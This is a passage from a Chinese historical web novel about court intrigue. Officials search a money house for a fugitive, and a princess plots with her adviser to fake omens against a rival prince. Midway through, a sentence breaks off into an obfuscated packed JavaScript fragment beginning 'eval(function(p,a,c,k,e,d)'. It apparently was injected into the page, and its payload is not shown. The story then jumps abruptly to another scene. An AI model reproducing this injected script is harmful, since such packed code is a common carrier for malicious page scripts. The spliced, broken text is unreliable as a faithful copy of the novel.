悦敏见她这样阻拦,愈发肯定鼎兴有鬼,斥道:“混账,你再无理取闹,一时就算真的没有窝藏逃犯,我也要治你一条妨碍公务的罪名。还不给我让开?”边说边一把将晋二娘推开,让潘硕带着步军兵士进了店堂。 悦敏是身怀武功的,又心里着急,所以没控制力道,一推之下,晋二娘自然就摔到了地上。仆妇们赶紧上来搀扶。谁料晋二娘撒泼地挥舞双手,将她们齐齐赶开,哭喊道:“没有天理!没有王法啦!官老爷欺负女人!九门提督带兵抢银号!” 本来鼎兴生意极好,店堂里顾客都排起了长龙队,如何还容得下一队士兵?登时骚乱了起来,哭的喊的朝外跑又被挡回去的,炸开了锅。 悦敏因为怕行动计划泄露会扑空,故仓促赶来,不曾叫刑部绘得郭罡的肖像。所有人中只得他见过郭罡一次,依稀记得容貌,所以士兵们只能将鼎兴前堂后院所有人集中到一处分男女站成两排,叫悦敏亲来辨认。花了好大功夫才都检查过,没有郭罡的踪影。 悦敏道因问士兵,是否全部搜查清楚了。 士兵道:“还有银库是锁着的,伙计没有钥匙。说是在大掌柜身上——”一指晋二娘。 “休想叫我开银库!”晋二娘脸上脂粉溶化,红一块白一块,滑稽万分“我鼎兴京城总号的全副身家都在里面,怎么能让你们这些闲杂人等乱闯?” “你少推三阻四的。”悦敏道,“我乃皇亲国戚,这位是九门提督大人,难道我们两个还会希罕你银库里的那点儿银子么?” 晋二娘眼珠子一转,让仆妇扶着自己站了起来,满脸不屑,道:“皇亲国戚,一品大官怎么啦?闹亏空的人可多着呢!皇上设立票业司,叫大家还银子,否则就要收利息,还会抄家充军呢。全天下都晓得呢——我怎么知道两位大人不是穷红了眼,随便找了借口想偷我家的银子?” 她虽然仿佛强词夺理,但是讲的又不完全是歪理。户部清查亏空闹得人心惶惶,票业司设立之后,欠款的官员们又纷纷出售古董、庄园,在京城百姓看来,“穷红了眼的”还不在少数。当然,谁也不相信堂堂一个公爵和九门提督能为了抢钱而搜查银号,所以听晋二娘这样说,大家都只是忍不住偷偷笑了起来。 这似乎也正是晋二娘所想要的效果。她两手把腰一叉,挑衅地看着悦敏。 悦敏暗想:这泼妇百般刁难,行迹如此可疑,到底是她太蠢了,想拼命隐藏郭罡反而造成“此地无银三百两”,还是她聪明无比,且郭罡本不在此地,特特要浪费我的时间?还是…… 无论如何,既然来了,不能不查个清楚。因冷笑了一声道:“好一嘴铁齿铜牙。既然你害怕潘大人和我会手脚不干净,不如你陪着我们一起去银库,盯着我们,看看我们会不会偷你一个铜板?” “我们银库里只有银两,没有铜板。”晋二娘一本正经地道,“跟你们到了银库里,你们真要动手抢,我一个女人又怎么拦得住?” 悦敏被她气得脸都变了颜色。店堂里的客人忍笑忍得肚子抽筋,有人好言劝道:“二娘,他们要真的抢,总还得从这门口出来。咱们这么多双眼睛看着呢,能出什么岔子?既然你真的没有窝藏什么逃犯,还是让官兵查清楚了吧。” 晋二娘依然别别扭扭,好半天才道:“查就查,要是搜不到,我倒看看两位大人要怎么还我清白。”说罢,前面带路,到了后院正厅。那地上原本铺着一张西域花毯,现在已经卷开一边,露出牢牢锁住的铁门来。两个步军士兵正在边上守卫着——如果里面藏了人,却是不可能趁着方才的间隙逃脱的。 晋二娘叫人掌了灯,上前打开银库的门,亲自引悦敏和潘硕下来。底下其实不过是个一丈见方的房间,四面都是箱子。士兵们试了试,每个箱子都很沉重,显然是装满了银锭。这房间看来密不透风,如果谁躲藏在内,恐怕会被闷死。除非什么修有秘密通道,可是,要将银箱一一搬开进入通道再把银箱一一搬回去,实在是一项浩大的工程。 大概郭罡真的不在这里,悦敏心中说不出的失望。 “怎样?”晋二娘还要来火上浇油,拿灯在悦敏眼前晃了晃,“大人查清楚了?看明白了?要不是要小妇人把箱子一只只打开,看看是不是把逃犯装在里面?” “那倒不必了。”悦敏边说边让潘硕先把士兵们带出去,省得一齐挤在那狭小的空间里。“掌柜的,你何必句句逼人?”他道,“其实我也是秉公办事,并不是故意来找你的麻烦。查清楚了,自然好。” 晋二娘“哼”了一声,并不理会。 悦敏就逼到了她的身边,阴阴地道:“明人不说暗话,内亲王挟持了你家的独苗儿逼你给她办事,我晓得。你是个聪明人,应该只想往发财路上走,而不想往死路上去。如果你给我办事,我就把你家少爷救出来还给你,如何?” 晋二娘侧头睨了他一眼:“挟持?大人说哪门子笑话呢?我们家梁新酷爱武功,内亲王特别给他个机会是试试——咱们平头小老百姓家里的孩子要多大的福气才能跟在石将军身边哪?挟持?真是好笑!” 悦敏冷笑了一声:“掌柜的你如果真这么想,那我也没什么好说的。等到将来——你不要忘记今天我跟你说的话就好。” 晋二娘也冷笑了起来,边笑边举步朝银库外走:“我就说嘛,大人亲自出动又找了九门提督带了兵,这样大的阵仗不会是单单抓什么逃犯,也不会是特特要来找我这样一个小老百姓的麻烦——果然,你是要寻内亲王的晦气。那你到她府上去寻!你们皇亲国戚吃饱了撑着没事干,别扯上我。” 感觉晋二娘明显是在装疯卖傻,悦敏一个健步赶了上去,一把扯住她的胳膊,道:“晋二娘,你不要敬酒不吃吃罚酒。竟敢这样跟我说话?” 晋二娘毫无惧色:“怎么了?”她扬起下巴:“天子脚下是有王法的,你是皇亲国戚官老爷,我是一钱不值的小老百姓。不过我没犯事,你偏偏跑到我家里来捣乱,还是为了找别人的麻烦,究竟是谁有理,谁没理?就是滚钉板,告御状,一直吵到皇上的面前,我也不怕。如果你还非要罚我酒,我就上阎罗王那里告你,看看公道最后在谁那一边!” 悦敏随着父亲在军中、在官场打滚了这么些年,几时见过如此泼妇?一时竟想不出要怎样对付。 晋二娘还接着道:“你搅和了我一下午的生意,现在要怎么补偿?罢了,罢了,我不敢要大人‘还’我清白。干脆大人把我鼎兴其他的分号和我梁家其他的房舍田庄统统搜查一遍。一次头把麻烦都找完了,省得日后你天天来搅得我没钱可赚!”说时,招呼门边候着的仆妇:“来,把咱家的产业清单拿来给大人过目。” 悦敏还被气得没反应过来,把仆妇已经去而复返,手里捧着两本册子。晋二娘就拿来给悦敏看,道:“这两本是一样的,上面记着我鼎兴在全国各地的分号地址,所有我梁家名下的房产、田产,近的,只隔了五条街,远的,在大青河边;最老的,就是这座总号,最新的,昨天傍晚才刚刚成交。大人爱怎么搜查就怎么搜查吧。” 这泼妇竟然如此嚣张,登鼻子上脸,悦敏真恨不得叫潘硕把她抓回去受受牢狱之苦,然而,一来潘硕也是玉旒云的人,自己有心针对玉旒云这件事一旦揭穿恐怕有些麻烦,二来实在也没有充足的理由逮捕晋二娘,赵王的大计正进行到紧要之时,容不得行差踏错。因此,他只好愤愤地夺过一本来:“好,你叫我搜的,我就去搜搜看。” 晋二娘将另外一本当扇子扇着,一副“走好不送”的表情,道:“请便,不过麻烦跟我们的跑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 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悦敏厌烦无比,怒道:“我才没功夫跟你胡搅蛮缠——你们当街争吵,堵塞道路,还不快给我闪开了!” “回永泽公的话……”那管家道,“您……您大概不记得小人了。小人是刘子飞将军的管家。这里是我家将军的府邸——这个泼妇买了隔壁的宅子,一早上都在乒乒乓乓地乱敲,如今竟然把我家的院墙给砸倒了,这才吵了起来。” “我又不是顺天府尹,没功夫理会你们这些鸡毛蒜皮。”悦敏不耐烦道,“快给我闪开,否则他日我见了你家将军,自然叫他治你。” 那管家好是没趣,悻悻地让开一旁。晋二娘还笑道:“咦,当真不搜查么?我可是打开大门欢迎大人呢——哎呀,如今墙坏了,说不定逃犯从我们家跑去刘将军家了。大人把两边都包围了搜查吧!” 悦敏不再受她激,把轿帘儿一放,吩咐:“走!”便欲拨开人群而去。 偏这时候,刘子飞从府里走了出来。大概本是被争吵给惊动了,想看个究竟,但一眼望见悦敏的轿子,赶忙跑了几步来招呼:“永泽公一向可安好?” 悦敏见了他,简直气不打一处来——如果不是他没有脑子收了个来路不明的郭罡,也不会闹出今天这些事。因此没好气道:“我安好。你少给我惹些麻烦,我就真的安好了。” 刑部的人已经来刘家查问过关于郭罡的事,所以刘子飞知道悦敏所指为何,陪着笑道:“是,是。我一定小心谨慎。其实劫狱这事……实在……古怪得很哪……不知永泽公有头绪了没?” “这事不是我份内。”悦敏道,“自然有刑部、顺天府和九门提督衙门负责。” “好……好……”刘子飞道,“那……公爷慢走……”跟着又骂管家:“一堵墙这么点事儿,闹得通街都晓得了,还堵住永泽公的轿子,你是怎么办事的?难道真要闹去顺天府打官司才好么?你还嫌我不够烦?” 管家本来以为是替主人逞威风,谁知竟被骂了,灰溜溜的低头不作声。 晋二娘道:“还是将军大人明白事理——我买这宅子是预备给我家少爷娶媳妇儿用的,风水先生说那墙上的雕花坏风水,我才叫他们砸墙,不想连将军家的也弄坏的。这原是小妇人的不对。反正我家也要把墙重砌,不如让那泥水匠先来替将军家修——如果将军不嫌弃——不然,您开口说个价,小妇人照赔也行……” 刘子飞只是“恩”,直看到悦敏的轿子走远了,才道:“你说什么?修墙?好,好。你赶紧找人来给我修好。就这样。”说完,自转身回府去。 管家赶忙拔脚追上:“老爷,这……这墙坏了总不是个事儿啊,现在府里……” 刘子飞先是默不作声地走,听管家一直絮絮不止,才终于喝道:“住口,你这蠢材,就是因为府里现在……那个……才不能把事情闹大了。白天刑部的人来,好在没发现什么。你要是闹得顺天府也跑来,万一……到时候你扛还是我扛?” 管家缩了缩脖子:“是……是小人糊涂。只是我怕隔壁那泼妇是特地砸塌了墙的呢——万一她是玉旒云的手下,岂不……” “蠢货!”刘子飞骂道,“玉旒云会收那种丑八怪泼妇做手下?” “是……”管家挠头,“是小人胡思乱想。不过,总归这墙塌了不太保险。要不要多叫几个家丁护院在那里守卫着?以防那泼妇走过来?” “你简直蠢得没救了!”刘子飞“啪”地在他后脑勺上打了一巴掌,“你知不知道什么叫‘此地无银三百两’?塌墙的是什么地方?是你们下人的茅厕!我要找人在茅厕看守,不是明摆着告诉人家我府里藏了不可告人的……你这蠢货!”说时扬手又要打。 管家连忙抱着头躲开。 刘子飞道:“你不要做那些无聊的事了。用心管好几个知道内情的人,走漏了一点儿风声,有你好看的!” “知道了。”管家答应,“小人现在就亲自去准备饭菜——今后一日三餐都由小人亲自送去,决不让别人掺和。” “这还差不多。”刘子飞道,摆摆手,让管家去了。 他自己穿过正厅,迈进二门,沿着一带抄手游廊走到了花园里,又顺着小径走了片刻,便在一扇月门前停了下来。四里看看,确定没有一个下人注意到自己,他才进了月门。 那后面别有洞天,翠竹丛生,掩映着三间房舍。本来环境十分清雅,不过房子看来长久没有修葺了,也不像有人居住的样子。 刘子飞走到跟前,轻轻在当中一间的门上敲了敲,先是紧接着的两下,顿了顿,又是紧接着的三下。片刻之后房门打开了,郭罡出现在了门口。 “先生受委屈了。”刘子飞拱拱手。 “将军说的哪里话!”郭罡也拱拱手,同时侧身请刘子飞进去,“如果将军不收留我,我恐怕已经被人抓回去了呢——刑部的人还会再来么?” “应该不会。”刘子飞道,“我跟他们说:‘以为我是白痴么,会把人藏在自己家里?这不是等人来抓么?’刑部的人也说了,只是例行公事,毕竟先生你在西京无亲无故,就认识我一个。他们估计先生已经逃出城去了,应该会往城外找吧——其实都不见得专找你,我听说是楚国奸细为救同党儿火烧刑部大牢,估计刑部人全副精力都放在缉拿这些亡命之徒的身上。” 郭罡道:“那可不是?玉旒云平生最恨楚人,这些奸细是她亲手所抓,之前她还成天和翼王一起来拷问呢,什么酷刑也用过了,鬼知道那些奸细跟她交待了些什么——我看她是以折磨楚人为乐。” 刘子飞道:“嘿嘿,多办是。她想陷害我,结果先生仗义替我顶了所有的罪责;她又在朝中跟赵王爷和永泽公作对,结果处处棋差一着——尤其是最近这票业司的事,她搞得神憎鬼怨朝廷上下一片哭穷声,却连甘州赈灾的二十万两也榨不出来。永泽公轻轻一动手指头,南方七郡就筹了二百五十万两。玉旒云她事事不顺,还能不去找些楚人来折磨折磨出气么?我看她一定会把刑部闹个天翻地覆,非限期让他们抓楚国的奸细们归案不可。” 郭罡哈哈笑道:“果然如此。那我就要多多请求老天,千万不要让这些楚国武林人士落到玉旒云的手中——如果不是他们把刑部大牢烧了,我又怎么能趁乱逃出来?他们倒算是我的救命恩人了。” 刘子飞也大笑起来:“不错。本来我正头疼不知要如何搭救先生,现在可真是天助我也——玉旒云自做了内亲王之后,越来越嚣张,越来越不把我放在眼里。日后我要是和她一起带兵出门,她还不把我踩在脚底下么?先生脱离牢笼的时机刚刚好,快快帮我想象对付她的办法。” “将军对郭某人有知遇之恩,又有救命之恩,我自然愿效犬马之劳。”郭罡道,“不如将军先把最近玉旒云的举动一一说给我听,我也好掌握大概?” 刘子飞道:“好,还不就是这些事……”因坐下了,和郭罡把玉旒云追查亏空设立票业司、改革禁军巡逻制度等事详细地说了。之前他几次去探望郭罡,所提的多是追查亏空,但一则见面仓促,二则他自己也为亏空焦头烂额,所以并不得详谈。今日方才把他打所知一股脑儿地都说了出来。 郭罡边听边点头,时不时地问些细节,诸如官员们有何感想之类。俗话说“物以类聚,人以群分”凡是刘子飞交往的,譬如司徒蒙,都是喜爱损公肥私之人,自然对玉旒云骂不绝口。悦敏虽然是票业官办的“支持者”,但是一直以来他长于收买人心,总把丑人留给玉旒云去做,所以大家眼中,他是那个真心为官员们谋福利的人。 郭罡道:“将军不是已经和赵王爷及永泽公攀上交情了么?只要有他们做靠山,哪里在乎玉旒云呢?” “别提了。”刘子飞道,“他们对我不冷不热。刚才在门外碰见永泽公,他还训斥了我几句。”因将门口的情形说了。 郭罡道:“看来永泽公是自己遇上了麻烦事,所以撞见谁就拿谁撒气了。” 刘子飞道:“可不?本来我还想把先生你脱险的消息告诉他,不过看来还是算了。” 郭罡道:“不说是对的。我讲一句难听的话,官场之上哪里有永远的朋友和永远的敌人?你对别人掏心掏肺,别人说不定转身就把你的心肺丢去喂狗呢!逢人但说三分话,不可全抛十分心嘛。” “先生说的一点儿都不错!”刘子飞赞同着,其实根本就没有推敲这话真正的深意。 “原来隔壁砸塌了墙?”郭罡突然好像漫不经心地问道,“从早上就乒令乓啷到现在了呢!” 刘子飞“嗯”了一声:“听信术士之言,要改风水——那是一家暴发户,不用担心。况且塌掉的地方在这花园的另一头,是下人的茅厕旁边,离这里很远。决不会有人发现先生。” “茅厕?”郭罡笑了起来,“那这暴发户改风水,岂不是把自己家里改得奇臭无比?” “正因为怕臭,她会很快把那墙给我修好的。”刘子飞道。 正说着的时候,门上又响起了那特定节奏的敲击声,是管家送饭菜来了。 刘子飞让郭罡先用茶饭:“先生还得在这里委屈几天,到外头风声没那么紧了,我就送先生到北郊的别墅去住。” “不必麻烦。”郭罡道,“其实在这里最好。本来就没人相信将军敢把郭某人藏在家中,何况刑部的人已经来搜查过了——这里岂不是最安全的地方?” “哈!”刘子飞拊掌道,“先生说的果然有道理——那我也不打扰先生休息了。明日再来拜望。” “请——”郭罡把他和管家都送到了门口。看着他们的背影消失在月们外花园的小径上,他再次露出了笑容。 他想起前一夜,当刑部的骚乱开始蔓延到整个京城,当顺天府的衙役开始追捕逃犯,满街都是嘈杂的人声,玉旒云那样镇定地拉着他走过一条条小巷来到刘子飞的门口,叫他去拍门向刘子飞求救。 “我已经买下了隔壁那座房子。”她道,“明天我会在两家之间给你开一条通道。二更时我在隔壁等你。” 郭罡当时禁不住一愣:玉旒云所谓的安身之所原来如此!连他也不得不承认这主意巧妙之极。 现在太阳已经开始落山,窗户纸都呈现出晚霞的颜色。不久黑暗就会吞没一切,竹叶的沙沙声中将传来清晰的二更鼓响。 果然没有看错人啊,郭罡想。 81. 第 81 章 八月十六的晚上本来也因该有不逊于中秋的月色,可惜这一夜是个阴天。郭罡悄悄跨过围墙的废墟时,几次差点儿被砖头绊倒。他虽然带了一支蜡烛,但是为免烛光被刘家仆人发现,所以直往玉旒云买的宅院里走了好远,才敢打火折子,偏巧没拿稳掉在了地上,摸索间,猛看见一只暖黄色的灯笼晃到了自己的面前,且听人道:“你就是郭先生?” 他怔了怔,抬头一看,没的吓了一跳——这女子本来已其貌不扬,被灯笼的光由下往上一照,简直像个鬼。他不禁倒吸了一口凉气。 来接他的是晋二娘。见他如此反应,冷笑了一声:“我还被你吓了个半死呢!别耽搁了,快跟我走。你们早些谈完,我也早些完事,可以回家去。”说着,就提着灯笼在前面带路。 郭罡一边跟上,一边想,我郭某人貌丑,一向不屑那些以貌取人者,却原来骨子里还是以貌取人的。实在可笑! 思念时,已经来到了一间书房之中,玉旒云正在欣赏房内的摆设,一听郭罡和晋二娘进来了,立即转身笑道:“这宅院可真是买的值得了,你们看这里几架书,简直什么都有,好多都还是新的呢。我想郭先生你是个爱读书的人,将来这宅院送给你,正好省得你去别处找书来。” 郭罡拱手为礼,笑笑,道:“那我就先谢谢了。不过如果书都是新的,也许原来的主人不是个读书的人,这些许是用来装门面的;那就不晓得有些什么书了——以前听人说,有个不识字的人怕别人说他不读书,于是买了好几箱书来摆设,结果客人来到一翻书架,竟连《春宫图》也有的。” 他本来随便说笑,但岂知晋二娘正是大字不识一箩筐,听到此话,便觉得是绕着弯儿在骂自己。即冷笑道:“《春宫图》怎么了?道学先生才成日当它是妖魔鬼怪。其实男人在家看春宫,总比到街上去调戏妇女好。再说,就算道学先生眼睛不看,难道心里就真的不想么?到头来还不都是一样的。” 郭罡哪晓得自己又什么地方得罪了人,暗想:这婆娘的嘴巴倒厉害,无谓跟她斗气。因转了话题:“王爷的本事果然不同寻常,说买宅子就买宅子,说在哪里买就在哪里买——我听说这是昨天下午才成交的,这便更让人惊奇了。” 玉旒云笑笑:“票业司追债,现在京城卖房子的可太多了,而且价钱大概也只有过去的一半。哎,晋二娘,似乎最近当铺的生意也好了很多,你家也可以开几间嘛。” 晋二娘道:“做生意虽然讲求眼光,讲求抓住机遇,但是也不是只靠投机取巧。我家老爷在世时就说要一步一个脚印,踏踏实实做人做事。我鼎兴那么多银子都已经被借了出去,现在再开当铺,哪儿有那么多现银周转?” 玉旒云道:“现银嘛,那十二张印版还在我们手上,你想印多少就印多少,派人送去给你家梁新就好了。”说着,就向郭罡解释:“楚国的假官票就是由她家公子负责拿去换成白银的。” 郭罡单知道玉旒云采纳了自己的建议去偷取印版,并不知道现在已经进展到了这一步,看来晋二娘还在其中扮演了十分重要的角色——难怪这婆娘这样厉害,他想。 晋二娘道:“十二套色耗工耗时,印好了再千里迢迢拿到楚国去换,花了大功夫也不知道究竟能换得多少——我家梁新上一封信里说,他现在还只是在贺城县里坐着,一分银子还没进账呢!幸亏现在王爷不要等那银子来赈灾——听说南方七郡的总督大人本领高,筹了二百五十万两银子,昨天运到了京城?” 这是玉旒云这一天来各种烦恼的导火索——她和赵王的争斗,在收买人心上,一轮票业官办的较量,没有立刻分出高下来;在武力比拼上,赵王显然在禁军中收买了人马,但是玉旒云打乱了值班顺序,又有重兵驻扎在东台大营,令前者不可轻举妄动,所以双方还依然处于对峙之中。这种情形下,实力的杠杆只要稍有一点倾斜,立刻就会造成局势大变——南方七郡突然运来二百五十万两银子无疑在赵王那一边加上了一枚可观的筹码。 这一个筹码,让她阵脚大乱。否则,也不会冒险劫狱把郭罡救出来。 “这么快就已经传到了你的耳朵里?”她皱着眉头。 晋二娘道:“已经全城都知道了。据说大部分都是当地官绅捐献的,这样的大善事自然传得快——吓,二百五十万两,一个月的功夫就筹出来,重铸成官宝,又运进了京,这位总督老爷的本领可不是一般的大,简直赛过活神仙了。” 玉旒云也很想知道这位黎右均总督究竟是怎样做到的——自己那个用假官票换银子的计策已经可以说是最便捷的无本生意,但是要换出二百五十万两银子谈何容易?恐怕光印那二百五十万两假官票就要印上一个月的。 然而现在不是好奇的时候,她有更为紧迫的危机需要解决。于是看了晋二娘一眼:“你替我在外面看着。我要和郭先生商量正事。” 晋二娘很识趣,知道玉旒云虽然在有些事上倚重自己,但是还有很多“会掉脑袋”的大事不让她参与。她也根本不想搅和在其中,便点点头,提着灯笼出门去。玉旒云这才深深地吸了一口气,开始向郭罡细细讲述连月来朝中的种种事件。 她自己并没有发现,这次谈话和过去有很大的不同。 自富安城郭罡投效起,到今日已经有大半年的光景。开始的时候,玉旒云只一心想要收服这只“黄鼠狼”,所以有时威胁,有时讽刺,有时漠视,务求让郭罡明白她才是主子,而他是可有可无的。及至靖扬被淹,玉旒云经历了一生中几乎最孤立最痛苦的日子,她从心底里发誓,非手刃郭罡不能泄恨。而郭罡巧妙地在江阳城扭转局势,再一次向玉旒云献策,从开始的怀疑到后来的依赖,玉旒云越来越觉得郭罡是自己所无法控制的,然而郭罡的计谋正是自己所需要的。她开始渐渐把他当成自己的谋士及老师,但那个时候郭罡已经下狱。他们的几次会面都是短暂又紧张的。 这一夜,才是第一次,从容不迫又心平气和,在一间布置典雅的书房里,点了灯,焚了香,预备了茶点,对面而坐,像所有传奇和话本中的师生主仆一样,议论天下大事。 玉旒云没有注意到这些变化,主要是因为她有太多的问题、太多的想法,恨不得有什么办法能将脑袋打开来,将所有自己想问、想说的统统塞进郭罡的脑袋里去,然后再把郭罡的分析和应对填进自己头脑中。 郭罡却从一进门就感觉到了,从玉旒云看似毫不经意的那声“郭先生”开始——玉旒云极少这样称呼他,在靖杨之后,简直就没有这样叫过。他心中不禁一荡:人家都是主公对谋士有“知遇之恩”,我郭罡却刚好相反,到今日,总算“收服”了这个桀骜难缠的青年。 玉旒云的叙述,加上先前在刘子飞处听来的时政,很快,郭罡就了解了朝中的局势。 “我现在最头痛的就是不知如何才能将东台大营的军队留住。”玉旒云道,“眼见着悦敏这厮要去北方搬兵,一旦东台大营被调空,单靠不知信不信得过的禁军和九门的步军,我如何同他抗衡?” 郭罡拿手指轻轻在桌上敲着:“其实依我看王爷根本就不必为难。他让你把东台大营调去甘州挖河,你就把东台大营调出去,有何不可?” “此话怎讲?”玉旒云皱眉不解。 郭罡道:“王爷试想,永泽公去了北方,可以秘密部署策划兵变,但是能秘密把兵调回京城么?显然不能。只要他一有动静,王爷肯定会知道,天下也都会知道,此后不管他成败与否,都是谋逆造反,史笔如刀,留下千古骂名。”他顿了顿,将桌上的茶壶调转了一个方向,道:“赵王这么多年苦心经营,无非是等一个‘堂堂正正’登上皇位的好时机,师出无名的事,他一定不会做。我看他们父子俩大概会在禁军中玩点儿什么花样,然后把这些推到王爷你这个领侍卫内大臣的身上。王爷位极人臣,近来又大刀阔斧,若他要诬蔑你造反,大概也会有不少人相信——此时你还把重兵都驻扎在京城附近,岂不更加惹人怀疑?到时候永泽公自然率领北方军队南下勤王。这不是名正言顺吗?” 玉旒云想了想:果然如此。“可是,如果把东台大营的军队调开,他还是一样会在禁军中搞点小动作,然后誓师勤王——那时我也一样应付不来。” “是了。”郭罡道,“将军没有军队,那跟没爪没牙的老虎有什么分别?军队没了将军,也是一样什么事都办不成。所以,依我之见,王爷不仅应该立刻爽快地答应让东台大营去甘州兴修水利,还应该向皇上请缨,亲自前往。这样,一旦京城有所异动,王爷就可以回师‘勤王’了。” 这果然是个好主意!玉旒云想了想,又道:“我离开了京城,禁军势必要恢复以前的巡逻制度,这倒是很方便赵王搞他的阴谋诡计。然而,此举相当于拿皇上的安危来赌博,万一……”想起郭罡之前有几次暗示过要自己夺取天下,她又加上一句:“那些大逆不道之话,你可以不必说。” 郭罡不可捉摸地笑了笑:“我原也没打算要说。皇上的安危怎么会被拿来赌博呢?其实王爷和永泽公都离开了京城,又都手握军队,则他有的优势,你也都有——都脱离了亲身参与谋逆的嫌疑,都可以回师勤王,所以不也都可以来个‘贼喊捉贼’么?虽然话是难听些,但只要管用,理会什么手段呢?谁能够策动京城的叛乱,谁就掌握了这场内战的主动权。” 不错,如果要在禁军中制造一场混乱,自己还有这个本事,玉旒云想,如何假装挟持庆澜帝实则将其保护起来,又如何占据京师附近的有利地形阻击悦敏,这些都不是难事。只不过,只要变乱一起,很难说清楚谁是谁非——她可以将矛头直指赵王,而赵王也可以将谋逆的罪名加在她身上。本来赵王需要的也不是一场真正的京城兵变,只要出了乱子,悦敏就可以带兵南下勤王。玉旒云布置得再妥当,也无法避免战斗。郭罡已经用上了“内战”这个字眼,玉旒云深知这个后果的严重性——楚国的变法正如火如荼,樾国却闹起内乱,我消彼长,将来要将其消灭,岂不又困难了几分? 郭罡又岂会不知道她顾虑什么,端起杯子来喝茶,接着突然一甩手,将杯子砸碎在地。玉旒云一惊,还不及问他何意,郭罡已经站起了身,绕着碎瓷和茶渍走了三圈,口中啧啧不止,末了,道:“王爷,你看这瓷片的排列,岂不正是‘乾’卦?而这水渍也正是龙形,这些茶叶不正像是龙鳞吗?” 玉旒云莫名其妙,张了一眼:“哪里像了?” 郭罡道:“哎,王爷不常研究五行八卦占卜之术,所以很难一眼看出。我却酷爱此道,因此上立刻就能瞧出来——这乃是上天给王爷的提示,王爷才是天下之主啊!” “胡说八道!”玉旒云一拍桌子,刚好也把自己的那杯茶震翻了,她因指着那污渍,道:“我看这像是乌龟。谁心怀不轨教唆别人谋逆造反,谁就是这个。” 郭罡不生气,反而笑道:“王爷聪明无比,你已经悟了。” “悟了?”玉旒云愈加一头雾水,“现在不是学人家参禅的时候,随便砸个杯子就说些玄而又玄的东西。” “正是!”郭罡道,“我泼一杯茶,就说是龙,说是天意,王爷也泼一杯茶,却说是乌龟——当然,王爷并没有说是天意,但是你一定要说,有何不可?古往今来,什么‘斩白蛇而起义’,什么在土地上画了一横,就预示将来要称王,这些不都是随便人说的?至于那鱼腹内剖出字条,河泥中挖出刻字的石人,这更是人做出来的。别人为了给自己造反找个理由,因而用了这些手段,王爷想要把造反载到别人的头上,为何不可用这些手段?” “啊!”玉旒云恍然大悟,“我想起来了!翼王之前给我夜光玉,原来也是这个意思!” “哦?”郭罡还没听她说起。 玉旒云因将翼王送来所谓“稀世珍宝”的事说了:“什么天生有字,其实只是刻了字的石头,想让上面显出什么,就可以刻什么。翼王早就说他会想办法逼赵王动手,让我准备应付。我先看到那夜光玉上刻了‘石人’还不明白他的用意。如今看来,可不正是先生所想的计策?” 翼王还真不简单,郭罡摸了摸下巴:“如果在虎脊山皇陵发现这种夜光玉石人,这条‘天意’可真是厉害,将来一旦证实是人为,这罪名也就同样厉害。不晓得翼王会刻什么字?” 玉旒云摇摇头:“他并没有说……不过,我倒晓得两句话,如果刻上去,赵王就真是水洗不清了——肖家娘子树下走,斑鸠占了喜鹊窝。” “肖”加“走”为“趙”,“树阴”为“樾”,“鹊巢鸠占”乃是造反。这两句诗编得实在巧妙。郭罡忍不住要一问其来历。 “这是程亦风的谋士公孙天成的手笔。”玉旒云道,“他曾经想通过不同的渠道把这两句打油诗传到我国来以制造混乱,但是并没有成功。他大概死也不会想到,这两句诗会帮我一个大忙——我就想个法子把它传给翼王。” “公孙天成……”郭罡眯了眯笑眼睛,仿佛很想会一会这个对手。“公孙天成不知花了多少脑筋才想出如此绝妙的两句诗,王爷如果只传给翼王,岂不是埋没了这篇佳作?他既然这么想我国能全国传颂之,王爷何不成全他?倘若大街小巷人人都听说此歌谣,到时候翼王挖出石人,这才相得益彰嘛。况且,造反这种事,在太平盛世谁会喜欢?越多老百姓知道,就越多人会反对赵王——反对他,也就是支持王爷你了。” “果然!”玉旒云喜道,“明日就来做这件事——我看不能从京城开始传,得找一个远一点的地方,这才不会打草惊蛇,也好让我有充足的时间准备剿灭反贼——就选南方七郡如何?” “王爷果然考虑得周详,”郭罡点头笑道,“那边刚刚送了这么大一笔钱来,原本永泽公是想显示一下自己的面子有多大,这下可就成了招认自己的党羽有多多,搬起石头砸了自己的脚呢!” “不错!”玉旒云道,“我何止要他砸自己的脚,我总要他把自己砸个头破血流!” 又和郭罡商议了许多细节,不觉已过了三更天。恐怕时间太久会生变故,玉旒云就和郭罡告别,让晋二娘送他到了院墙缺口处,自己远远观望,见一切妥当,才回府去。是夜,她将“肖家娘子树下走”那两句诗刻在翼王送给自己的夜光玉上,然后将两块玉重新装回锦盒中,并修书一封,云:“雕虫小技,贻笑大方!”次日一早送去翼王府,叫人退给翼王。 接着,她才到议政处来办公。 悦敏前日被耍了一通,估猜其中经过不管是通过潘硕还是通过晋二娘,都已经传到了玉旒云的耳朵里。玉旒云一定在暗地里得意地笑呢!他这样想着,脸色便阴沉沉的,心中发誓:决不再给这丫头耍弄自己的机会,一定要将她逼到死角!于是,玉旒云才一进门,他劈头就问:“怎样,内亲王昨天在家休息了半日,身子大好了吧?打算几时去东台大营传达前往甘州挖河的命令?” 玉旒云瞥了他一眼:“永泽公这话说的,好像我存心不想让部下去修水利似的。” 悦敏冷笑,眼神已经说出了心里话:难道不是么? 玉旒云也一笑,将一本折子递了过去,道:“不知永泽公请缨亲自北上劳军兼剿匪的折子写好了没有?我这一份是自请去甘州赈灾并挖河的,咱俩可以同时离京呢,也让礼部省一省送行的花费。” 悦敏没想到她会有此一举,愣了愣,将那折子接过来看看,果然满篇“河工水利天下大事”,匆匆扫到了结尾,也的确有自请率部前往甘州的文字。他一时捉摸不透玉旒云玩什么花样,就狐疑地看着对手。 “河工水利这是解决甘州和其他许多地方旱涝灾害的根本。”玉旒云笑道,“永泽公和赵王爷筹集了这么大一笔银子,你们出钱,难道我还好意思不出力么?大家都是给皇上办事,谁也不能落后啊!” “内亲王说的哪里话?”悦敏一边揣摩着她的用意,一边干笑,“这怎么是‘我们’出钱呢?分明是南方七郡的官员乡绅慷慨解囊。” 玉旒云道:“怎么说都好。我知道很多人觉得我玉某人只晓得打仗,不管老百姓的死活。这次总算为自己正一正名,呵呵。” 是为了这个?悦敏以为决不可能。 